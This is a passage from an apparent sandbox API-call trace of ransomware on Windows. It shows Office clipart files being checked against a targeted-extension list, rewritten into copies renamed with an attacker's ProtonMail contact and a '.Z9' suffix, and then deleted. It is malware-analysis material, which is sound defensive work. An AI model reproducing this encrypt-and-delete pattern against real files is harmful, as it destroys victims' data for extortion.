	[0187.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.769] lstrlenW (lpString=".dbf") returned 4
	[0187.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.769] lstrlenW (lpString=".1cd") returned 4
	[0187.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.769] lstrlenW (lpString=".jpg") returned 4
	[0187.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.769] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.769] lstrlenW (lpString="J0156537.WMF") returned 12
	[0187.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.771] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=1376) returned 1
	[0187.771] CloseHandle (hObject=0x2cc) returned 1
	[0187.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220
	[0187.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.772] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.772] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.773] GetLastError () returned 0x0
	[0187.773] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x560, lpOverlapped=0x0) returned 1
	[0187.809] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x570, lpOverlapped=0x0) returned 1
	[0187.810] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.810] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.810] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.810] CloseHandle (hObject=0x2d0) returned 1
	[0187.810] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.810] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.815] CloseHandle (hObject=0x2cc) returned 1
	[0187.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1
	[0187.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.817] lstrlenW (lpString=".doc") returned 4
	[0187.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.817] lstrlenW (lpString=".docx") returned 5
	[0187.817] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0187.817] lstrlenW (lpString=".pdf") returned 4
	[0187.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.817] lstrlenW (lpString=".xls") returned 4
	[0187.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.817] lstrlenW (lpString=".xlsx") returned 5
	[0187.817] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0187.817] lstrlenW (lpString=".ppt") returned 4
	[0187.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.817] lstrlenW (lpString=".zip") returned 4
	[0187.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.817] lstrlenW (lpString=".rar") returned 4
	[0187.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.817] lstrlenW (lpString=".bz2") returned 4
	[0187.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.817] lstrlenW (lpString=".7z") returned 3
	[0187.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".dbf") returned 4
	[0187.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".1cd") returned 4
	[0187.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".jpg") returned 4
	[0187.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".doc") returned 4
	[0187.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString=".docx") returned 5
	[0187.818] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0187.818] lstrlenW (lpString=".pdf") returned 4
	[0187.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString=".xls") returned 4
	[0187.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.818] lstrlenW (lpString=".xlsx") returned 5
	[0187.818] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0187.818] lstrlenW (lpString=".ppt") returned 4
	[0187.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".zip") returned 4
	[0187.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.818] lstrlenW (lpString=".rar") returned 4
	[0187.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString=".bz2") returned 4
	[0187.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString=".7z") returned 3
	[0187.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.818] lstrlenW (lpString=".dbf") returned 4
	[0187.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.819] lstrlenW (lpString=".1cd") returned 4
	[0187.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0187.819] lstrlenW (lpString=".jpg") returned 4
	[0187.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.819] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.819] lstrlenW (lpString="J0157167.WMF") returned 12
	[0187.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.820] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=46702) returned 1
	[0187.820] CloseHandle (hObject=0x2cc) returned 1
	[0187.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 0x220
	[0187.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.821] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.821] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.822] GetLastError () returned 0x0
	[0187.822] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xb66e, lpOverlapped=0x0) returned 1
	[0187.886] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xb670, lpOverlapped=0x0) returned 1
	[0187.911] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.911] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.912] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.912] CloseHandle (hObject=0x2d0) returned 1
	[0187.912] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.912] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.915] CloseHandle (hObject=0x2cc) returned 1
	[0187.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 1
	[0187.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.917] lstrlenW (lpString=".doc") returned 4
	[0187.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString=".docx") returned 5
	[0187.917] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0187.917] lstrlenW (lpString=".pdf") returned 4
	[0187.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString=".xls") returned 4
	[0187.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.917] lstrlenW (lpString=".xlsx") returned 5
	[0187.917] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0187.917] lstrlenW (lpString=".ppt") returned 4
	[0187.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.917] lstrlenW (lpString=".zip") returned 4
	[0187.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.917] lstrlenW (lpString=".rar") returned 4
	[0187.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString=".bz2") returned 4
	[0187.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString=".7z") returned 3
	[0187.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.917] lstrlenW (lpString=".dbf") returned 4
	[0187.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.917] lstrlenW (lpString=".1cd") returned 4
	[0187.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString=".jpg") returned 4
	[0187.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString=".doc") returned 4
	[0187.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString=".docx") returned 5
	[0187.918] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0187.918] lstrlenW (lpString=".pdf") returned 4
	[0187.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString=".xls") returned 4
	[0187.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.918] lstrlenW (lpString=".xlsx") returned 5
	[0187.918] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0187.918] lstrlenW (lpString=".ppt") returned 4
	[0187.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString=".zip") returned 4
	[0187.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.918] lstrlenW (lpString=".rar") returned 4
	[0187.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString=".bz2") returned 4
	[0187.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString=".7z") returned 3
	[0187.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString=".dbf") returned 4
	[0187.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.918] lstrlenW (lpString=".1cd") returned 4
	[0187.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0187.919] lstrlenW (lpString=".jpg") returned 4
	[0187.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.919] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.919] lstrlenW (lpString="J0157177.WMF") returned 12
	[0187.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.919] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=21716) returned 1
	[0187.920] CloseHandle (hObject=0x2cc) returned 1
	[0187.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220
	[0187.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.920] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.920] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.921] GetLastError () returned 0x0
	[0187.921] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x54d4, lpOverlapped=0x0) returned 1
	[0188.028] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0188.029] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.029] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.030] SetEndOfFile (hFile=0x2d0) returned 1
	[0188.030] CloseHandle (hObject=0x2d0) returned 1
	[0188.030] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.030] SetEndOfFile (hFile=0x2cc) returned 1
	[0188.033] CloseHandle (hObject=0x2cc) returned 1
	[0188.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1
	[0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.034] lstrlenW (lpString=".doc") returned 4
	[0188.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.034] lstrlenW (lpString=".docx") returned 5
	[0188.034] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0188.034] lstrlenW (lpString=".pdf") returned 4
	[0188.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString=".xls") returned 4
	[0188.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.035] lstrlenW (lpString=".xlsx") returned 5
	[0188.035] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0188.035] lstrlenW (lpString=".ppt") returned 4
	[0188.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString=".zip") returned 4
	[0188.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.035] lstrlenW (lpString=".rar") returned 4
	[0188.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString=".bz2") returned 4
	[0188.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString=".7z") returned 3
	[0188.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString=".dbf") returned 4
	[0188.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString=".1cd") returned 4
	[0188.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString=".jpg") returned 4
	[0188.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.035] lstrlenW (lpString=".doc") returned 4
	[0188.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString=".docx") returned 5
	[0188.035] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0188.035] lstrlenW (lpString=".pdf") returned 4
	[0188.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.035] lstrlenW (lpString=".xls") returned 4
	[0188.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.036] lstrlenW (lpString=".xlsx") returned 5
	[0188.036] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0188.036] lstrlenW (lpString=".ppt") returned 4
	[0188.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0188.036] lstrlenW (lpString=".zip") returned 4
	[0188.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.036] lstrlenW (lpString=".rar") returned 4
	[0188.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.036] lstrlenW (lpString=".bz2") returned 4
